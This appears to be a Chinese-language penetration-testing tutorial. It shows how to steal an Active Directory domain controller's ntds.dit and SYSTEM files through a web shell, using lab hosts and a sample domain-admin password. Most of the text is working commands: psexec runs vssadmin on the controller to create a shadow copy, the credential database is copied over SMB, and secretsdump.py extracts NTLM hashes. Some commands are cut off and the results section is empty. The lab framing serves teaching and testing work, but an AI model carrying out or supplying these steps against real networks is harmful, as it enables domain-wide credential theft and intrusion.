通過Webshell遠端匯出域控ntds.dit的方法
嗨,大家好!這次我想分享一些與“Windows Active Directory(AD)”環境相關的內容。我將使用Web shell向大家演示“如何轉儲Windows Active Directory使用者資料庫”。可能有這樣一種情況在滲透測試期間,滲透測試人員連線到了Windows Active Directory forest其中一臺計算機並獲得了“Domain Admin”使用者憑據和Web shell訪問許可權。滲透測試人員試圖進一步的獲得Reverse shell,但由於某些原因阻止了該行為(假設網路防火牆不允許)但測試者的最終目標可能並不是獲取shell,而是轉儲AD使用者資料庫,即使用者和ADL環境的NTLM密碼雜湊值。
在滲透測試期間我也面臨了同樣的問題(沒有公網IP伺服器)。在稍稍討論了該問題之後,我找到了一種方法,如果我們有“AD Domain Admin”使用者憑據,那麼通過WebShell就可以幫助我們實現上述目標。
這裡,我們假設:
1、AD域控機器(queen.DC1.indishell.lab – 192.168.56.200) 2、被控制的Windows機器 – 連線到AD(LABONE – 192.168.56.101) 3、管理獲取Windows AD域管理使用者(你可以使用任何可用的exploit,在這裡我使用的是“MS14-025”來獲得域管理員使用者密碼的)
現在,我可以在Windows機器上進行訪問web shell,它連線到域,即“LABONE”,其IP為“192.168.56.101”。域管理員的使用者名稱為“user1”,密碼為“ica_1046”。
這裡,我將使用以下兩個二進位制檔案:
1、psexec.exe < – Windows內部工具 2、vssadmin < – 用於建立/刪除Windows驅動器的卷影副本的命令
無論如何,如果我們設法在Windows AD域控機器上執行“vssadmin”命令,“vssadmin”命令將生成“C”盤的卷影副本,並且從該卷影副本我們可以複製“ntds.dit”和“SYSTEM”檔案。為了實現上述任務,我們將使用“psexec.exe”,如果我們使用“elevated”選項(通過指定-h)指定目標計算機IP、域管理員使用者名稱及其密碼,則可以在遠端Windows計算機上執行命令。我們需要通過web shell在Windows機器“LABONE”上上傳psexec.exe。從Web shell我們將使用“vssadmin”命令指定AD域控機器IP,域管理員使用者名稱及其密碼。
psexec檔案將遠端執行Windows AD域控計算機上的vssadmin命令。在建立“C”盤卷影副本之後,我們需要將“ntds.dit”和“SYSTEM”檔案從該卷影副本複製到我們具有Web shell訪問許可權的機器上,即Windows域機器“LABONE”。這個任務可以通過使用“psexec”來完成,我們只需在“copy”命令中指定目標AD域控機器的IP,域管理員使用者名稱和密碼即可,請使用SMB將ndts.dit和SYSTEM檔案從卷影副本複製到LABONE機器。這裡,我將這些檔案複製到了我轉儲psexec檔案的同一目錄下。
使用“psexec”在遠端主機上執行命令的常規用法:
psexec.exe \\remote_IP -u user_name -p password_of_the_user -h cmd /c "command_which_we_want_to_execute"<br />
就我而言,我應填寫如下資訊:
remote_IP 192.168.56.200(queen.DC1.indishell.lab) user_name user1 password_of_the_user ica_1046
我在Windows域機器“LABONE”上具有web shell訪問許可權,並在伺服器上傳了psexec二進位制檔案。
首先,我們先來檢查下是否有“C”盤的卷影副本可用。你可以使用以下命令來列出可用的卷影副本:
vssadmin list shadows
這裡,web shell無法顯示遠端主機上psexec binary執行的所有命令輸出,所以我將命令輸出重定向到了“LABONE”上,並儲存在C:\xampp\htdocs\box\ps\目錄下。執行該步驟的命令如下:
PsExec.exe\\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "vssadmin list shadows > \\192.168.56.101\C$\xampp\htdocs\box\ps\out.txt"
Web shell顯示psexec正在遠端Windows AD域控機器上執行命令。如果一切順利,我們將在目錄“C:\xampp\htdocs\box\ps”中獲取到一個名為“out.txt”的檔案,它將包含在AD域控(192.168.56.200)上執行的“vssadmin list shadows”命令的輸出。
可以看到out.txt檔案已生成在了目錄中,讓我們來檢視下其中的內容。
“out.txt”檔案內容顯示,目標域控機器到目前為止並沒有任何的卷影副本。
讓我們建立一個“C”盤的卷影副本,以竊取“ntds.dit”和“SYSTEM”檔案。
用於建立c盤卷影副本的命令如下:
vssadmin create shadow /for=C:
我們需要有新建立的“C”盤卷影副本的名稱它將在命令的輸出中,因此我們將把上述命令的輸出重定向到我們擁有web shell訪問權的機器上。
要從目標機器複製“ntds.dit”和“SYSTEM”檔案,我們需要有卷影副本的名稱。最終的命令為:
PsExec.exe\\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "vssadmin create shadow /for=C: >
以上命令,psexec正在Windows AD域控機器(192.168.56.200)上執行命令建立“C”盤的卷影副本,然後將該命令的輸出重定向到 “LABONE”機器的 “C:\xmpp\htdocs\box\ps\out.txt”檔案中。
“out.txt”檔案的內容將告訴我們卷影副本的位置。
在以上截圖中我們可以看到,卷影副本的卷名為“\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\”。
“ntds.dit”和“SYSTEM”檔案的位置如下:
“shadow_copy_volume_name\Windows\NTDS\NTDS.dit” ”shadow_copy_volume_name\Windows\System32\config\SYSTEM”
即:
“\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\NTDS\NTDS.dit” “\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\System32\config\SYSTEM”
讓我們使用以下命令從目標Windows AD域控機器複製“ntds.dit”檔案:
PsExec.exe\\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "copy\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\NTDS\NTDS.dit\\192.168.56.101\C$\xampp\htdocs\box\ps\"
此命令將會將“ntds.dit”檔案從遠端機器(192.168.56.200)複製到“LABONE”機器(192.168.56.101)的“C:\xampp\htdocs\box\ps\”目錄下。
可以看到web shell顯示,一個檔案已從目標DC機器複製到了我的機器上。讓我們確認並檢查“C:\xampp\htdocs\box\ps”看看是否已成功複製“ntds.dit”檔案。
如上所示,“ntds.dit”檔案已成功被複制到了“LABONE”機器上。
同樣,我們使用該命令複製“SYSTEM”檔案:
PsExec.exe\\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "copy\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\System32\config\SYSTEM
命令執行成功,Web shell顯示“1 file copied”的訊息提示。再次檢查並確認是否成功執行。
可以看到“SYSTEM”檔案也已成功被複制到了 ”LABONE”機器上。我們可以從這裡使用web shell下載這些檔案。
現在,我們可以使用python指令碼 secretsdump.py ,從“ntds.dit”和“SYSTEM”檔案中提取Domain,udi,rid LM和NT hashes。命令如下:
python secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
結果如下: